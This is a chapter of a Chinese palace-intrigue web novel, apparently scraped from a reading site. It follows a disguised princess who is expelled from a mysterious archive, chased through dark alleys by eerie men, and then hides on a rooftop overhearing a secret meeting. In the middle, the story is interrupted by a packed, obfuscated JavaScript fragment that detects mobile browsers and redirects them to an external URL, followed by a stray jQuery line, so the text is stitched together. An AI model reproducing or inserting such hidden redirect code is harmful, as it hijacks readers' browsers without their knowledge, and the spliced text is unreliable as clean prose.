烛泪堆积如冢,在青铜烛台下凝固成扭曲的形态,一层覆一层。
就在这极致的寂静中,一阵低沉而悠远的钟声,嗡鸣着响彻千机阁的每一个角落。
“咚——咚——咚——”
钟声未歇,书房内毫无征兆地大放光明,刺目的光线从四面八方镶嵌的壁灯中迸发出来,瞬间驱散了所有阴影。
一名戴着毫无纹饰的纯白面具、仅露出一双空洞眼眸的使者,如同鬼魅般悄无声息地出现在书房门口。那双眼眸毫无神采,仿佛琉璃珠子,映不出丝毫情绪波动,如同被抽走了灵魂的傀儡。
“时辰已到,请离开。”使者的声音平板无波,没有任何语调起伏,像是在重复一句演练过千万次的话。
浮梦被强光刺得眯起眼,下意识地抬手遮挡。
她还沉浸在卷宗浩如烟海、真伪难辨的信息漩涡中,一时间竟未能理解这突如其来的逐客令。
她环视满地狼藉——那些她翻阅过的、记载着前朝秘辛、世家纠葛、甚至隐约指向北庭往事的卷宗,东倒西歪地散落着,有几卷甚至滚到了烛台边缘,险些被跳跃的火舌舔舐。
“我还未得到答案……”她喃喃自语,声音带着疲惫与不甘,目光依旧执着地扫过那些书卷,试图抓住最后一丝线索。
母亲的真正来历,她为何会出现在长安,卷宗语焉不详,只模糊提及“凭空出现”,而狗皇帝在登基前最后出现的地方是北庭……这中间缺失了最关键的一环。
使者对她的低语充耳不闻,只是再次用那种毫无生气的声音重复:“时辰已到,请离开。”
这一次,伴随着他的话音,整个千机阁仿佛被注入了某种诡异的活力。
原本死寂的廊道传来细微的脚步声,紧接着,四道灰色身影如同暗夜中扑食的猎豹,以惊人的速度从不同方向的阴影中冲出,目标明确——直指浮梦。
浮梦甚至来不及惊呼,只觉得四肢骤然一紧,已被四只冰冷有力的手牢牢钳制住。
下一秒,天旋地转,她整个人被轻而易举地架起,沿着曲折的回廊快速移动。
这一切发生得太快,等她混沌的思维重新接续,人已经被轻飘飘地“放”在了一条阴暗潮湿的后巷青石板上。
身后那扇将她“吐”出来的小门,“哐当”一声重重合拢,严丝合缝,再也推不开分毫。
我……这是被人扔出来了?
浮梦瘫坐在地,愣愣地看着那扇紧闭的门,一种极度的荒诞感混杂着眩晕,让她懵了。
千机阁……竟是如此待客?或者说,她这“客”,本就不在欢迎之列?
她索性就着冰冷的石板坐下,试图理清纷乱的思绪。
卷宗内容光怪陆离,从前朝旧事讲起,像一部惊心动魄却又难以分辨真假的话本。
她最想知道的关于母亲身份的核心秘密,依旧笼罩在迷雾中,但卷宗里提及的某些长安世族与前朝的隐秘关联,以及狗皇帝最后去的北庭……
她下意识地抬手想理一理散乱的鬓发,却摸了个空。这才想起,为了伪装,早在西市取钱时她便拆了繁复的发髻,如今只用一根简单的木簪将青丝松松挽起。
“就我目前这副尊容……”她低头看了看自己沾满灰尘的素布衣裙,自嘲地扯了扯嘴角,“还能看出是个公主?”这念头刚闪过,她猛地回头看向那扇将她扔出来的小门,一股寒意顺着脊椎爬升。
这千机阁如此诡异,知晓天下事,定然也认出了她的身份。那今日这番“款待”,是警告,还是另有所图?
不能再待下去了。她打了个寒颤,慌忙从地上爬起,也顾不得浑身酸痛,辨了个大致方向,便深一脚浅一脚地沿着窄巷往前跑。
这具身体终究是大病初愈,没跑出多远,便已气喘吁吁,胸口如同风箱般剧烈起伏。她不得不放慢脚步,改为快走,边走边警惕地环顾四周。
巷子越来越深,光线愈发昏暗,两侧是高耸的、斑驳脱落的院墙。
空气中开始弥漫起一股越来越浓烈的酒香。走
近一看,巷子尽头是一处看似不起眼的院落,狭窄的入口只挂着一盏孤零零的、散发着红光的灯笼。
但若抬头细看,却能发现灯笼上方楼阁的窗棂后,隐约透出灯火通明与丝竹管弦之声,与下方的破败形成鲜明对比。
这里……莫非就是谢今宸打听的“绣酿坊”?浮梦心中闪过这个念头,却毫无探究的欲望。天色已晚,该尽快回府。
她转身,想按原路返回,找到通往大路的方向。然而,就在她转身之际,从旁边堆满杂物的犄角旮旯里,摇摇晃晃地钻出了几个身影。
“哟!这鸟不拉屎的地方,还能撞见小娘子?”一个流里流气的声音响起,带着浓重的醉意和下流的调侃。
“嘿!你别说……你还真别说……这身段……”另一个声音附和着,发出令人作呕的咂嘴声。
“yue……隔夜饭都要吐出来了……滚滚滚,别挡道!”
浮梦皱紧眉头,不欲与这些醉汉纠缠,加快脚步想离开。她只当是寻常的地痞无赖,借着酒劲撒疯。
然而,那股混合着劣质酒精、汗臭和某种难以形容的腐臭的气味,却如影随形,越来越近。即使她捂住口鼻,那味道依旧无孔不入,直冲天灵盖,熏得她胃里一阵翻腾。
她忍无可忍,猛地回头,想要呵斥——
“啊——!!!”
一声短促的尖叫不受控制地脱口而出,随即被她自己死死用手捂住!
眼前的情景让她头皮发麻。
那根本不是普通的醉汉,只见三四个人影以极其怪异的姿势站立着,身体扭曲,双目空洞无神,如同千机阁里那个使者一般,嘴角不受控制地流淌着涎水,脸上是一种濒死般的灰败之色。
然而,他们的嘴里却一刻不停地念叨着污言秽语,声音嘶哑令人作呕。
浮梦吓得魂飞魄散,求生本能瞬间压倒了一切,她再也顾不得疲惫,转身用尽全身力气向前狂奔!
她这一跑,仿佛触动了什么开关。
身后那些原本行动迟缓的人,突然停了下来,紧接着,发出一阵如同野兽般的低沉嘶吼,竟四肢着地,以一种如同蜘蛛般迅猛的速度,朝着她逃跑的方向快速爬行而来,口中那令人毛骨悚然的呓语声也变得更加急促、响亮。
更让她恐惧的是,空气中似乎还飘荡着一缕若有若无、幽怨诡谲的箫声。那箫声钻入耳中,竟让她想起幼时被皇后逼着听那些枯燥乏味的佛经时的感觉,太阳穴一阵阵地抽痛。
浮梦拼命奔跑,不敢回头,却能清晰地听到身后那越来越近的、混杂着爬行声和怪叫的恐怖声响。她绝望地发现,照这个速度,她很快就会被追上!
她强迫自己冷静下来,目光急速扫过错综复杂的巷道。要往有光的地方去!她朝着远处一片相对明亮的光晕冲刺而去。
肺部如同火烧,腿脚像是灌了铅,但她不敢停歇。
终于,她冲到了光亮的源头——
然而,希望瞬间破灭!
那根本不是出口,而是一堵高大的、布满苔藓的砖墙!墙上挂着一盏硕大的、写着“酒”字的红灯笼,那猩红的光芒映照着绝路,仿佛一张嘲弄的巨口。
浮梦踉跄着停在墙下,背靠着冰冷潮湿的墙壁,绝望地听着那诡异的箫声和爬行声越来越近,越来越清晰……
“难道今日……真要莫名其妙地葬送在此处?”她喘着粗气,指甲深深掐入掌心,剧烈的恐惧中竟生出一股不甘的愤懑,“不!不可能!连椒房殿那碗药都没能要了我的命,我怎么可能死在这些不人不鬼的东西手里!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401084|179669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>就在这时,她的目光瞥见了墙角堆放的几个废弃的陶土酒坛和一根倚着墙的、看似腐朽的木柱。
电光火石间,一个念头闪过。
她不知哪来的力气,手脚并用,猛地踩上一个酒坛,想要借力攀上那木柱,翻上旁边的房檐。
“咔嚓!”酒坛本就风化脆弱,承受不住她的重量,瞬间碎裂,发出清脆的声响。
这声响在寂静的巷子里格外刺耳,仿佛给了身后那些“东西”明确的指示,他们的移动速度似乎更快了,嘶吼声近在咫尺。
浮梦顾不上许多,在酒坛碎裂的瞬间,脚尖勉强在残骸上一点,双手死死扣住了那根木柱。木柱表面粗糙腐朽,木刺扎进她柔嫩的掌心,传来钻心的疼痛,但她咬紧牙关,凭借着求生的本能,拼命向上攀爬。
她用尽最后一丝力气,终于狼狈地翻上了低矮的房檐,立刻伏低身体,紧紧贴在冰冷的瓦片上,连呼吸都屏住,只敢从齿缝间漏出微弱的气息。
下方,那几个诡异的人已经追到了墙角。他们失去了目标,像没头苍蝇一样在原地转了几圈,发出困惑而焦躁的咕噜声。
“哎?人呢?”
“刚刚明明听到声音在这儿……”
“真他妈晦气!”其中一个突然站直了身体,声音虽然依旧沙哑,却多了几分“正常”人的恼怒,“那位主儿可没说这差事这么麻烦!”
另一个充当和事佬:“算了算了,找不着就找不着吧,反正定金也拿了,够咱明晚的酒钱了!”
“呸!白跑一趟!”
“走了走了,真没劲!”
几句抱怨之后,这群人竟像是瞬间恢复了常态,骂骂咧咧地、摇摇晃晃地沿着来路离开了,仿佛刚才那恐怖的一幕从未发生。
浮梦趴在房檐上,直到他们的脚步声彻底消失,才敢大口大口地喘息,浑身脱力,冷汗早已浸透了衣衫。太可怕了……那些究竟是什么人?他们口中的“主子”又是谁?
惊魂未定之际,身下这处看似废弃的院落里,却突然传来了轻微的响动和人语声。
浮梦心中一惊,急忙再次捂住口鼻,放缓呼吸,小心翼翼地挪动身体,透过房檐的缝隙向下望去。
只见院内杂草丛生,一间破败的厢房里透出微弱的烛光。有两个人影站在院中,似乎早已在此等候。
其中一人声音低沉:“房大人请。”
另一人应道:“将军何故约在此等隐秘之处?”
浮梦屏住呼吸,下意识竖起耳朵,想听清他们的对话。奈何距离有些远,声音断断续续。
那位被称为“房大人”的人似乎接过了一件长条状的物品,借着微光仔细端详了片刻,才迟疑地开口:“将军可曾听闻,宫里那位……极爱收集前朝玉器?”
“不曾细究。”被称为“将军”的人回答。
房大人似乎凑近了些,声音压得更低,开始窃窃私语。
浮梦心急如焚,想知道他们谈论的是否与千机阁卷宗或今日遭遇有关,不自觉地向前倾了倾身子——
“嘎吱……”年久失修的房檐发出一声轻响!
浮梦吓得魂飞魄散,赶紧缩回身体,心脏狂跳。幸好底下两人似乎并未察觉,依旧在低声交谈。
她不敢再妄动,只能耐着性子,蜷缩在冰冷的房檐上,等待着下面的人离开。院门外,依稀可见两个如同门神般伫立把守的身影。
精神高度紧张后的极度疲惫如潮水般涌来,加上夜风寒凉,浮梦的意识渐渐模糊。她强撑着不让自己睡去,却不知在何时,竟抵不住身心俱疲,昏昏沉沉地失去了知觉……
恍惚中,似乎有熟悉的气息靠近。
当她再次艰难地睁开沉重的眼皮时,映入眼帘的,竟是崔逢青那张脸庞。
他抬头看着她,也不知过了多久。